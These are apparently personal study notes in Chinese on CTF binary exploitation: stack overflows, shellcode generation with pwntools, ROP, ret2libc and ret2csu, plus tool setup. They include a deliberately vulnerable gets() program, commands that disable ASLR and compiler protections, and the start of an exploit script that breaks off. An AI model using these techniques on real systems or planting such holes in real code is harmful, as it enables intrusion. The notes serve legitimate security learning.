zoukankan      html  css  js  c++  java
  • PWN入门

    工具

    shellcode

    http://shell-storm.org/

    配置32位编译程序

    sudo apt-get install lib32readline-dev

    源代码查看

    https://elixir.bootlin.com/linux/v3.8/source/include/linux

    杂学

    1. 程序各个数据放在哪里

      ![](https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210619163544713.png)

      • 未初始化全局变量--Bss(不占用实际空间)

      • 已初始化全局变量--Data

      • 函数、全局常量(只可读) --Code

      • 局部变量(随着函数结束释放) -- Stack

      • 输入的数据(动态)--Heap

      • 形参--寄存器

    2. 寄存器

      rax-eax-ax-al/ah

      64-32-16-8-4

    3. windows与linux区分文件

      • windows以后缀识别文件

      • linux以文件头识别文件类型

    4. vim编辑器以16进制查看

      !xxd

    5. 编译--汇编

      c->asm asm->机器指令

      反汇编--反编译

      image-20210713145303447

    6. 关闭缓冲区

      setbuf(stdin,0);

      setbuf(stdout,0);

    7. system函数

      其中的字符串类容可以使用作为shell命令

      如:system("/bin/sh"),调用该函数之后即可进行shell命令操作,ls,pwd,cd ..

    8. nc执行远程端口程序

      nc ip port

    9. 64位程序只有6字节地址位:有一半为操作系统内核,该地区用户不可使用,用户可用区只有一半,所以小一些,多了用不完

    10. 管道符与grep

      • 管道符“|”:将前边的输出作为后边的输入

      • grep:筛选包含目标字符串的字符串

        ROPgadget --binary XXX --only "pop|ret" | grep ebx

    11. gcc编译与安全机制

      #!bin/sh/

      gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

      参数解释:

      -fno-stack-protector:关闭canary

      -z execstack:打开栈的可执行权限

      -no-pie:关闭PIE

      -g:附加调试信息(必须有源c文件)

      -o 编译后文件名:编译文件

      查看ASLR

      echo 0 > /proc/sys/kernel/randomize_va_space

      image-20210716211052281

      机器重启会重置ASLR

    12. 汇编指令ret=pop eip

    13. 一般的函数调用(自己写的函数和普通库函数):使用call指令调用

      系统调用:使用汇编的 int指令调用

    14. 一般地址内容

      • 32位程序

        0x804800-0x804900:自己的代码

        0xf7xxxxxxxxx:libc的文件

        0xffffxxxxxxxx:栈地址

    15. linux自带检查文件字符串功能

      strings ret2libc | grep bin/sh

    16. linux的系统调用位置

      /usr/include/x86_64-linux-gnu/asm/unistd_32.h

      image-20210726214321740

    17. 计算机底层运行都是以字符串转成ascii码保存数据

      如:

      12 =0x31320a

    18. 查看本地libc中system偏移量

      readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

      等价于

      libc=ELF("/lib/i386-linux-gnu/libc.so.6")

      libc.symbols["system"]

    19. 32位程序(x86)和64位程序(amd64)的参数传递区别

      32位:

      • 仅用栈传参数

      • 在栈中从高到低地址,以逆序传入参数,即最后一个参数在最高地址

      • call指令存入返回地址

      • 压入previous ebp

      64位:

      • 前6个参数分别存在rdi、rsi、rdx、rcx、r8、r9

      • 超过6个的参数存在栈中,同x86

      • call指令压入返回地址

      • 压入previous ebp

    20. IDA细字体显示的函数在gdb中都没有(这些是IDA猜测的函数,机器码的程序中没有)

    21. 程序开始之前栈中有什么内容:环境变量

    22. c语言:

      (函数地址)(参数)==函数(参数)

      若a=greeting,即a为greeting函数地址,那么

      (a)(参数)等价于a(参数)

      int array[5]={0,1,2,3,4}
      //array+1=array[1]
      int a=array;
      //a+4=array[1] 32位程序

      关于将函数地址加减操作

       

    动态链接

    1. 程序编译过程

      image-20210520130020650

      静态链接在链接的时候将代码装入程序

      动态链接在程序装入内存,在需要使用函数时从动态链接库获取该部分函数,动态链接库一开始就存在于内存,最开始不知道具体函数在哪个位置

      调试查看:

      image-20210721104635857

      在一开始就装入了在该目录下文件,该文件就是一个动态链接库

      image-20210717142822501

    2. 动态链接过程:ppt72-82

      • call动态链接函数

      • 跳转到 .plt 中的 foo 表项

      • .plt表项第一条指令跳转到.got.plt表项

      • got第一条类容为跳转到.plt+1条指令(第一次访问还未装入有效地址)

      • push index,给__dl_runtime_resolve 函数传参

      • 跳转到PLT0,继续传第二个参数

      • 调用__dl_runtime_resolve 函数,将函数真实地址写入.got

    3. 比较静态链接和动态链接

      • 动态链接

        gcc -fno-PIE -o dytest hello.c

        编译时关闭PIE报错? why?

        我傻了,编译pie小写

        gcc -fno-pie -o dytest hello.c

        gcc -no-pie -g -o hello hello.c

      • 静态链接

        gcc -fno-PIE --static -o dytest hello.c

      • 区别:

        • 动态链接没有把库函数装入程序,静态链接把库函数装入程序

        • 在IDA中,粉色表示的函数都是只在程序存放了一个符号,用来解析函数在动态链接库

          image-20210721101513807

        • 文件大小差距大,静态链接由于库函数的装入

          image-20210721101242995

    4. plt节

      .rel.dyn节的每个表项对应了除了外部过程调用的符号以外的所有重定位对象,而.rel.plt节的每个表项对应了所有外部过程调用符号的重定位信息。例如你的程序中需要调用一个libc中的函数,假如是strlen,直接调用的话,这个strlen符号就会在.rel.plt节中,如果在你的程序中定义一个函数指针(假如是my_strlen)指向strlen函数,那么my_strlen符号就会在.rel.dyn节中

      原文链接:https://blog.csdn.net/beyond702/article/details/52105778

      定位动态链接库函数:

      image-20210723205155181

      ld为装载器,同样装入内存中

      image-20210723210425631

      使用IDA查看各节:

      • plt节(16字节)

        image-20210724113433958

      • got.plt节(8字节)

        image-20210724113657734

         

    5. 动态调试

      image-20210724114240334

      image-20210724160901441

    canary

    1. 原理:

      • 放入canary(随机数)

        image-20210810142703368

      • 检查canary

        image-20210810143344957

    2. 知识点:canary的保护机制

      当不存在canary时,多溢出数据会造成segment fault

      当存在canary时,会有stack_chk_fail函数监测到,会显示stack smashing detected

      image-20210810135913460

    IDA安装与使用

    安装

    https://blog.csdn.net/weixin_45078818/article/details/111359136

    使用

    1. go拖入程序得到汇编代码

    2. F5得到反编译c语言代码

    3. 双击函数跳进子函数

    4. esc返回调用前函数

    5. space从拓扑图到汇编代码视图

    观察汇编代码

    1. 函数开始有

      • push ebp

      • mov esp ebp

    2. 函数结尾有

      • leave

      • retn

    3. 粉色为找操作系统要的函数,白色为写死了的函数

    4. 显示机器码

      image-20210714164318500

    5. 使用c代码与汇编代码对照

      image-20210714164618669

    6. 使用idb文件可保存已经分析文件,方便下次直接使用

    7. 快速寻找程序起始位置

      找字符串位置(一般可定位到主函数)

      • shift+Fn+F12 查看字符串

      • 找到字符串双击调到汇编数据段处

      • 双击后方,跳转到对应汇编代码处

      • 反汇编得到c代码

        image-20210714165630312

    8. 显示汇编代码段地址

      image-20210715152535901

    9. 根据地址寻找代码段

      在IDA View-A中输入按键盘字母g

    10. ascii码转换

      选中数字,按r转换

    11. 切换是否显示数据类型:回车键上方符号

    12. 修改函数名

      点击选中函数,按n修改名字

    13. 添加注释

      选中注释段落,按下除号/添加注释

    kali安装与使用pwntools(附攻击脚本流程)

    安装

    1. 安装pip(这里安装了python3的pip3)

      pip2、3教程

    2. 安装pwntools

      pip3 install pwntools

    3. 检验是否安装成功

      import pwn

      pwn.asm("xor eax,eax")

    使用

    1. 检查安全保护:

      checksec xxx

      RWX: 可读,可写,可执行

    2. 导入包

      from pwn import *

    3. 打开本地或者远程链接

      一般先在本地运行,攻击成功再切换到远程攻击

      io=process("./xxx") 创建本地进程

      io=remote("ip",port) 链接远程进程

      image-20210714172231704

    4. 接收进程数据

      io.recvline() :接收一行数据

      io.recv() :接收所有输出数据

      注:会接收到所有数据,包括被隐藏的数据,如:被 隐藏的数据,单单nc扫描不到,使用recv可以扫描到

    5. 输入数据

      io.send()

      传输数据必须为数据流,不能是对象

      即需要数字前加:p32/p64

      如:p32(123):将123打包成4字节(32位)数据

      p64(123):将123打包成8字节(64位)数据

      u32():将p32打包的数据解压成原始数据

      字符串前加:b

      如:b"i wanna" 或 b"x0a"=b" "

      io.sendline()

      发出一行数据

      io.sendline("asdf") 等价于 io.send("asdf ")

    6. 动态调试程序

      elf=ELF("./ret2libc3")      #创建进程
      elf.got["system"]           #寻找got表中的system函数地址
      elf.plt["system"] #寻找plt表中的system函数地址
      elf.symbols["system"]       #寻找程序中system的偏移量
      bin_sh=next(elf.search(b"/bin/sh"))      #寻找字符串/bin/sh的地址
    7. 更多控制数据输入与读取内容(recvuntil)

      https://blog.csdn.net/hanqdi_/article/details/107164199

    8. 添加调试模式:

      context.log_level="debug"

    9. 使用gdb.attach(io)来进行调试

      会弹出新的调试框,调试与gdb调试相同

      另一种使用方式

      1. 在脚本中对应位置暂停,pause()

      2. 在另一个shell打开pwndbg,输入attach+ 空格+ 进程pid

    10. 数据类型总结:

      io.send()

      传输数据必须为数据流,不能是对象

      即需要数字前加:p32/p64

      如:p32(123):将123打包成4字节(32位)数据

      p64(123):将123打包成8字节(64位)数据

      u32():将p32打包的数据解压成原始数据

      字符串前加:b

      如:b"i wanna" 或 b"x0a"=b" "

       

      str函数:将对象转化为字符串型,如:'A'

      str().encode():将对象转化成数据流型,如:b'A'

    11. 获取bss段起始地址

      bss_base=elf.bss()

    kali安装与使用pwndbg

    安装

    1. 使用git下载,会出现无法链接情况,将https改成gitimage-20210714203427326

      image-20210714203506597

    2. cd pwndbg

    3. vim ~/.gdbinit

      source ~/pwndbg/gdbinit.py写在上面

      之后便可输入gdbtui进入pwndbg

    使用

    1. gdb进入pwndbg

    2. 命令

      • run执行程序

      • b设置断点

        b main 已有函数名

        b *(0xxxxxxx) 函数实际地址

        b *$rebase(0xxxx) 已知偏移量

      • n 下条指令(c指令)

      • s 进入函数

      • stack 24 查看当前大小24的栈内容

        观察栈中数据

        • image-20210716095815640

      • vmmap(virtual memory map):查看虚拟内存,查看程序各段权限

        image-20210723213726360

      • plt:查看plt节地址与部分信息

      • got:查看got表信息

      • 查看plt节的具体类容,/20代表查看改地址后20x32位内容

        x/20 plt地址

      • disass+地址:返回对应地址汇编代码

      • s步进函数

      • 在s之后输入backtrace:查看函数调用关系

      • return:返回当前函数

      • fastbin:查看fastbin chunk信息

      • heap:查看已分配chunk

    3. 查看信息:

      REGISTERS:当前指令对应寄存器信息改变
      DISASM:指向当前运行指令
      STACK:栈内容
    4. 查看内存:

      dps 0x56559060

    kali安装使用ROPgadget

    安装

    sudo pip install capstone

    git clone https://github.com/JonathanSalwan/ROPgadget.git

    cd ROPgadget

    sudo python3 setup.py install

    使用时遇到的问题:

    Traceback (most recent call last): File "/usr/local/bin/ROPgadget", line 4, in <module> import('pkg_resources').run_script('ROPGadget==6.6', 'ROPgadget') File "/usr/lib/python3/dist-packages/pkg_resources/init.py", line 651, in run_script self.require(requires)[0].run_script(script_name, ns) File "/usr/lib/python3/dist-packages/pkg_resources/init.py", line 1436, in run_script raise ResolutionError( pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/usr/local/lib/python3.9/dist-packages/ROPGadget-6.6.dist-info'

    解决:只需在报错目录小拷贝scripts文件即可

    su

    cp -r scripts /usr/local/lib/python3.9/dist-packages/ROPGadget-6.6.dist-info

    使用

    1. 指令

      ROPgadget --binary XXX --only "pop|ret"

      在XXX ELF文件中寻找只有pop或者ret指令

     

    kali安装使用libsearch

    使用情况:尽管存在ASLR,低12位却是不变的,所以也可适用

    安装

    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop

    使用

    from LibcSearcher import *

    #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
    obj = LibcSearcher("fgets", 0X7ff39014bd90)

    obj.dump("system")        #system 偏移
    obj.dump("str_bin_sh")    #/bin/sh 偏移
    obj.dump("__libc_start_main_ret")    

    如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)

    概述

    1. PWN与web的区分

      • web是应用层

      • PWN是二进制

    工具

    1. ida

    2. IDA安装:

    比赛形式

    1. 给你程序寻找漏洞

    2. 攻击远程(网络)相同漏洞

    步骤

    1. 分析程序

    2. 编写利用脚本

      from pwn import *

    专业名词

    • exploit:用于攻击的脚本与方案

    • payload:攻击载荷,是目的进程被劫持控制流的数据(精心构造的数据)

    • shellcode:调用攻击目标的shell的代码

    shell

    1. windows使用GUI接口,使得点击鼠标完成操作

    2. shell是linux提供给用户的使用操作系统的接口

    文本编辑器

    • vim

    • deepin-editor

    编译步骤

    1. 源代码

    2. 汇编代码

    3. 链接:与库函数链接

    4. 可执行程序

      • 说明信息

      • 可执行段:cpu获取该部分执行程序

    python

    1. 解释性代码:由解释器来解释每一行代码

      运行代码前边加python3

      如果在头部标识好解释器

      #!/bin/python3

      再添加文件可执行权限

      chmod +x xxx.py

      就可执行了

    2. c语言编译好后可直接执行

    可执行文件分类

    image-20210713142450892

    ELF文件

    图片1

    image-20210713142845526

    1. 文件头表:操作系统利用建立进程映像

    2. 段表:标识进程映像不同部分的权限(代码段不可写)

    3. 节头表:组织ELF文件存储在磁盘上各个节的信息

    image-20210713144908758

    左:磁盘中

    右:主存中

    1. 二者映射关系

      image-20210713145809246

      下方两指令在linux可具体查看图示结构

    虚拟地址

    image-20210713145740710

    1. 为了安全采用虚拟地址

    2. 操作系统为你分配实地址,给你虚拟地址使用,操作系统可以从虚拟地址映射到实地址

    3. 每个进程可虚拟使用4GB,但实际占有由操作系统分配仅他具体实际大小空间,分散式存储

    机器字长

    如我们64位机器就是机器字长为64位,一次传输64位数据

    段与节

    1. 段是进程执行时的数据结构

    2. 节是存储程序在磁盘上的数据结构

    3. 节在装入内存执行时会装入段,一个段可装多个节

      image-20210713155049226

      plt节:解析动态链接函数的实际地址

      text:实现特定功能

      got.plt:保存具体解析到的动态链接函数地址

      bss:不占用磁盘空间

    程序执行过程

    1. 静态

    image-20210713161416270

    1. 动态

    image-20210713161455555

    image-20210713145809246

    栈与堆的压入方向不同,保证二者利用率到达最大

    汇编指令

    image-20210713162023316

    1. Intel与AT&T

      • Intel目的操作数在前,源操作数在后,AT&T相反

      • AT&T立即数前加$

      • AT&T取内容符号位()小括号

    缓冲区溢出

    基本原理

    1. 可见汇编笔记测试3

    2. image-20210714133021710

      特点:

      • 栈从地地址向高地址增长

      • 其他段都是低地址向高地址增长

    3. 工作过程(以下图为例)

      image-20210714140354756

      • 逆序压入参数

      • CALL指令:保存下条指令地址ip到栈,并将ip移到子函数指令位置

      • 保存当前栈顶(ebp)的位置入栈

      • 将ebp移至esp

      • 申请一段空间,执行子函数

      • 返回

        • 若有局部变量,使用leave(还原esp+还原ebp)&retn(还原eip)

        • 没有局部变量可直接pop ebp+retn,因为esp与ebp指向相同地方

          pop:将ESP指向内容赋值给后边的寄存器

          如:pop ebp;将esp的内容赋值给ebp

      • 返回值存在EAX寄存器中

      • retn还原eip:即恢复指令到主程序,相当于pop eip

      • 可见PWN.pptx的P42

    攻击原理

    当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip,所以我们的目标就是让 eip 载入攻击指令的地址。

    • 首先,在退栈过程中,返回地址会被传给 eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也可以在内存其他位置寻找可用的攻击指令。

      image-20210714144332116

    • 实例

      image-20210714144943809

    漏洞

    1. gets函数

      读入字符串,但不确定长度,可无限长,直到''才结束读取

    2. 超出规定长度的数据往上覆盖,即往返回地址方向覆盖

    3. 程序存在后门函数

      system("bin/sh")

    例题1

    1. 产因:

      • 存在栈溢出gets

      • 存在后门函数system("bin/sh")

    例题2

    1. 产因:

      • 存在栈溢出gets

      • 不存在后门函数system("bin/sh")

    2. 由此需要自己写入攻击代码shellcode,代码写到哪?

      • bss区

      • stack区

      • heap区

    3. 知识点

      • 堆缓冲区不可执行(没有可执行权限)

      • 栈本来有可执行权限,但有NX保护(the no Execute bit),存在该保护栈就不可执行

        • the NX bit

          1. 程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现

          2. 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃

      • bss区默认有可执行权限

    4. 注意:插入代码是机器码,不是c语言代码

      如何获取机器码:

      pwntools 自带获取机器码功能,默认32位

      form pwn import *

      获得汇编代码

      print(shellcraft.sh())

      变成机器码

      print(asm(shellcraft.sh()))

       

      获得64位获取shell的机器码

      print(asm(shellcraft.amd64.sh()))

      注意:设置context.arch = "amd64",即python脚本要加这句才能识别是64位程序

    例题3

    1. 产因:

      • 在栈可执行的情况下

    2. 知识点

      • 如何关闭ASLR

        echo 0 > /proc/sys/kernel/randomize_va_space

        image-20210716211052281

        操作系统该文件的值代表了ASLR的情况

        更改其值即更改了ASLR的状态

      • 如何编译

        #!bin/sh/

        gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

        参数解释:

        -fno-stack-protector:关闭canary

        -z execstack:打开栈的可执行权限

        -no-pie:关闭PIE

        -g:附加调试信息(必须有源c文件)

        -o 编译后文件名:编译文件

      • 写函数打印字符串地址

        #include<stdio.h>
        int main(){
               char str[100];
               printf("%p",str);
               return 0;
        }

        打开ASLR:发现每次str地址随机

        image-20210716214952070

        关闭ASLR:地址固定

        image-20210716215032870

    3. 自己写漏洞文件

      //ret2stack.c
      #include<stdio.h>
      int main(){
             char str[100];
        printf("%p",str);
             gets(str);
             return 0;
      }

      编译

      gcc -fno-stack-protector -z execstack -no-pie -g -o ret2stack ret2stack.c

    4. gdb调试,发现存在sourcecode,因为存在源代码且在同一路径下

      image-20210716214334258

    5. gdb调试中输出的地址和本级运行输出的地址不同,说明两点

      • pwndbg是将程序装入自己的沙盒环境中来运行,

      • pwndbg固定关闭ASLR,无论主机是否开关,所以每次运行输出地址相同

      总结:实际地址为程序输出地址,或IDA中地址,且偏移量一定正确

    内存保护机制

    1. NX(the NX bit(让栈段没有执行权限))

      1. 程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现

      2. 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃

    2. ALSR(ADRESS SPACE Laout Randomization),内存随机化

      系统的防护措施,程序装载时生效:默认一定打开

      •/proc/sys/kernel/randomize_va_space = 0:没有随机化。即关闭 ASLR

      •/proc/sys/kernel/randomize_va_space = 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化

      •/proc/sys/kernel/randomize_va_space = 2:完全的随机化。在randomize_va_space = 1的基础上,通过 brk() 分配的内存空间也将被随机化

    3. PIE(Position-Independent Executable)控制bss,data,code的随机化(磁盘中本体)

      • 程序的防护措施,编译时生效

      • 随机化ELF文件的映射地址

      • 开启 ASLR 之后,PIE 才会生效

      文件映射:将物理外存的文件映射到内存,而不是写入

    4. canary

      • 介绍:当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

      • 详情

      image-20210716212352868

    查询证明

    1. gcc编译与安全机制

      #!bin/sh/

      gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

      参数解释:

      -fno-stack-protector:关闭canary

      -z execstack:打开栈的可执行权限

      -no-pie:关闭PIE

      -g:附加调试信息(必须有源c文件)

      -o 编译后文件名:编译文件

      • 查看ASLR

        echo 0 > /proc/sys/kernel/randomize_va_space

        image-20210716211052281

        机器重启会重置ASLR

      • 一种攻击aslr的方法(nop滑梯)

        将栈内容全部覆盖成nop指令(无任何操作),使得你指向任意地址,有更大的概率指向被覆盖成nop的指令,那么跳转到此处就会执行到nop完之后的第一条指令

    返回导向编程

    1. 目的:程序之间来回跳转到达想要的目的(多次篡改返回地址eip)

    知识点

    • 如何进行write的系统调用

      #include<stdio.h>
      char shellcode[100]="hello world";
      void my_write(){
         write(1,shellcode,0x100);
      }
      int main(){
         my_write();
         return 0;
      }
      • write是动态链接库封装好的函数

      • 动态链接库内是汇编指令

        image-20210717144042685

      • 总结:动态链接库包装汇编代码封装成函数,调用动态链接库即完成了汇编代码功能

    • 什么是动态链接库

      ldd命令查看使用的动态链接库

      image-20210717113604119

      linux-vdso.so.1 (0x00007ffe17cc6000):高级pwn相关知识

       

      libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a91026000):标准动态链接库的软链接

      软链接:相当于一种快捷方式,放到任何地方都能打开指向文件

       

      /lib64/ld-linux-x86-64.so.2 (0x00007f6a9120a000):动态链接库装载器,负责把需要的动态链接库文件装载到共享空间,没有漏洞

    • 为什么要动态链接库

      采用动态链接库的优点:

      (1)更加节省内存;

      (2)DLL文件与EXE文件独立,只要输出接口不变,更换DLL文件不会对EXE文件造成任何影响,因而极大地提高了可维护性和可扩展性。

    • 查看动态链接库

      根目录下的lib文件

      image-20210717142150472

      查看libc.so.6

      image-20210717142822501

      可以了解到所有系统都有该文件名,但指向了不同的libc文件(视频为libc-2.28.so),所以libc.so.6为不变的指向libc文件的软链接,相当于libc文件的快捷方式

    ret2sys & ROP

    1. 跳转到共享区的动态链接库的system函数(或者execve函数)

      system函数是execve函数包装

      execve对应的汇编代码

      image-20210717144645702

    2. 在没有对应连续汇编代码(一条完整的指令)的情况下,如何做到执行获取shell的函数呢?

      答:使用ROP,寻找pop+ret指令的组合,达到离散分布指令连续执行的效果

      注意:ret指令相当于pop eip

      image-20210717161427873

      模拟过程:

      • 首先栈溢出覆盖返回地址,指令跳转到0x08052318位置

        pop %edx;ret;

      • 0x0c0c0c0c的值赋给edx,跳转到0x0809951f位置的

        xor %eax,%eax

      • eax置0,跳转到0x080788c1

        mov %eax,(%edx);ret;

      如此来达到想要的目的

      image-20210718111548347

    例4

    该例题为静态链接,所使用的指令都能在可执行程序找到

    1. function windows按ctrl+f

      搜索system函数

    2. 在字符串搜索"/bin/sh",存在,但不是system函数参数

    3. 寻找gaget

      ROPgadget --binary XXX --only "pop|ret"

      在XXX ELF文件中寻找只有pop或者ret指令

      ROPgadget --binary XXX --only "pop|ret" |grep eax

      在XXX ELF文件中寻找只有pop或者ret指令,并筛选其中包含eax的字符串

      注意:构造的命令中只有ret改变了eip进行指令跳转,但是堆栈段并没有跳转,所以可以通过溢出到连续的堆栈段来确定数据

    4. 寻找int 80

      ROPgadget --binary XXX --only "int"

      或者使用python自带的字符串查找

      from pwn import *
      elf=ELF("./ret2systemcall")
      hex(next(elf.search(b"/bin/sh")))

      image-20210718205657340

    ret2libc

    1. 环境:

      存在system函数,但其中的参数无效

    2. 思路:只需跳转到plt节对应的system地址即可

    例5

    1. 例1

      如何寻找system函数在plt的地址

      • 在IDA中拖宽左栏

        image-20210724180119200

        注意:不能直接跳转到plt节就结束,因为plt的内容只是地址,要取plt内容的内容,才是libc中的函数

        image-20210724222347496

      • 如何给函数传参

        因为调用的system函数需要参数,比如"/bin/sh",那么这段字符串该在哪

        根据堆栈传参原理,在当前ebp+12的位置为第一参数位置

        image-20210724181622514

        但是由于破坏了堆栈原理,所以需要加4字节垃圾数据,即参数寻找在当前ebp前2字节

        返回到system函数首先压入其ebp,那么ebp上两字节就是他的第一个参数

        image-20210724181846179

        注意:ebp位置:指向previous ebp的起始地址

        垃圾数据:保证system跳转的参数位置正确

      • 需解决的问题

        1. 保证system函数写入到got节

          无需保证,写入或不写入最终都会跳转到system函数

          因为:可直接返回到plt位置,这样无论got中是否有system函数地址,都会跳转到got函数,而不是直接跳到got节去获取system函数地址

        2. 如果没有“/bin/sh”字符串该怎么办

          使用read函数自己读入

        3. 多次取内容是否自动完成

          由1知:会从plt标记处完全跳转到system函数

        4. 堆栈如何安排

          如果过程调用2个或以下数量函数,那么两函数相邻,两参数相邻即可

          如果多余2个,那么需要使用函数地址+pop ret+参数形式来构成链

        5. 如何找到plt节:

          plt节写死在elf文件中,只需在IDA中找到其对应位置即可

    例6

    1. 条件:在例5的情况下没有“/bin/sh”

    2. 如何解决:使用ROP自己构造gets函数,自己读入“/bin/sh”到bss节

      • 存在bss节的全局变量

      • bss节地址固定

      • ROP可构造出gets函数

    例7

    1. 条件:

      • 没有/bin/sh

      • 没有system函数

      • 有libc.so文件

    2. 如何解决

      • 使用”sh“代替“/bin/sh”

        使用字符串搜索sh

        strings ret2libc3 |grep sh

      • 利用libc.so文件,通过gdb调试确定其他动态链接库函数puts与system函数的相对地址差(固定不变)

        通过程序输出其动态链接库函数puts

        image-20210727222203302

      • 注意:写入system的地址的时候,由于底层的原理机制,需要将地址转换成10进制的字符串型(ascii码)

        str(0x123456)

    3. 操作

      • python调试

        elf=ELF("./ret2libc3")      #创建进程
        libc=ELF("./libc.so")
        elf.got["puts"]             #寻找got表中的puts函数地址
        a=libc.symbols["puts"]      #寻找puts在libc中偏移量
        b=libc.symbols["system"]    #寻找system在libc中偏移量
        c=a-b                       #计算libc中puts与system的相对偏移,该值固定
      • GDB调试

        • plt:查看plt节地址与部分信息

        • got:查看got表信息

    4. 小知识

      • 根据段页式管理,计算机以4KB分页,导致system函数地址最低3位一定相同

      • 本地只能看偏移量通过计算获取实际地址,不能直接看gdb获得的实际地址,可以用程序自身输出泄露地址,因为本地的libc和远端libc可能不相同

    ret2csu

    1. 原理:

      在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

      .text:00000000004005C0 ; void _libc_csu_init(void)
      .text:00000000004005C0                 public __libc_csu_init
      .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16•o
      .text:00000000004005C0                 push    r15
      .text:00000000004005C2                 push    r14
      .text:00000000004005C4                 mov     r15d, edi
      .text:00000000004005C7                 push    r13
      .text:00000000004005C9                 push    r12
      .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
      .text:00000000004005D2                 push    rbp
      .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
      .text:00000000004005DA                 push    rbx
      .text:00000000004005DB                 mov     r14, rsi
      .text:00000000004005DE                 mov     r13, rdx
      .text:00000000004005E1                 sub     rbp, r12
      .text:00000000004005E4                 sub     rsp, 8
      .text:00000000004005E8                 sar     rbp, 3
      .text:00000000004005EC                 call    _init_proc
      .text:00000000004005F1                 test    rbp, rbp
      .text:00000000004005F4                 jz     short loc_400616
      .text:00000000004005F6                 xor     ebx, ebx
      .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
      .text:0000000000400600
      .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54•j
      .text:0000000000400600                 mov     rdx, r13
      .text:0000000000400603                 mov     rsi, r14
      .text:0000000000400606                 mov     edi, r15d
      .text:0000000000400609                 call   qword ptr [r12+rbx*8]
      .text:000000000040060D                 add     rbx, 1
      .text:0000000000400611                 cmp     rbx, rbp
      .text:0000000000400614                 jnz     short loc_400600
      .text:0000000000400616
      .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34•j
      .text:0000000000400616                 add     rsp, 8
      .text:000000000040061A                 pop     rbx
      .text:000000000040061B                 pop     rbp
      .text:000000000040061C                 pop     r12
      .text:000000000040061E                 pop     r13
      .text:0000000000400620                 pop     r14
      .text:0000000000400622                 pop     r15
      .text:0000000000400624                 retn
      .text:0000000000400624 __libc_csu_init endp

      这里我们可以利用以下几点

      • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。

      • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

      • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

    2. 个人总结:

      • 主要针对64位程序,32位程序使用ROPGagets就可以找到对应的pop_ret指令,32位程序从栈传参,所以无需特殊的指令来对寄存器赋值

      • 64位程序中由于需要使用寄存器传参,而恰好与csu_init中的寄存器赋值相对应

        .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15

        对这些寄存器赋值后,在调用一下指令

        .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d

        即可完成对前3个参数寄存器的赋值

      • 实际作用效果:无限制的条件下实现寄存器传参

    3. 攻击流程

      from pwn import *
      from LibcSearcher import LibcSearcher

      #context.log_level = 'debug'

      level5 = ELF('./level5')
      sh = process('./level5')

      write_got = level5.got['write']
      read_got = level5.got['read']
      main_addr = level5.symbols['main']
      bss_base = level5.bss()
      csu_front_addr = 0x0000000000400600
      csu_end_addr = 0x000000000040061A
      fakeebp = 'b' * 8


      def csu(rbx, rbp, r12, r13, r14, r15, last):
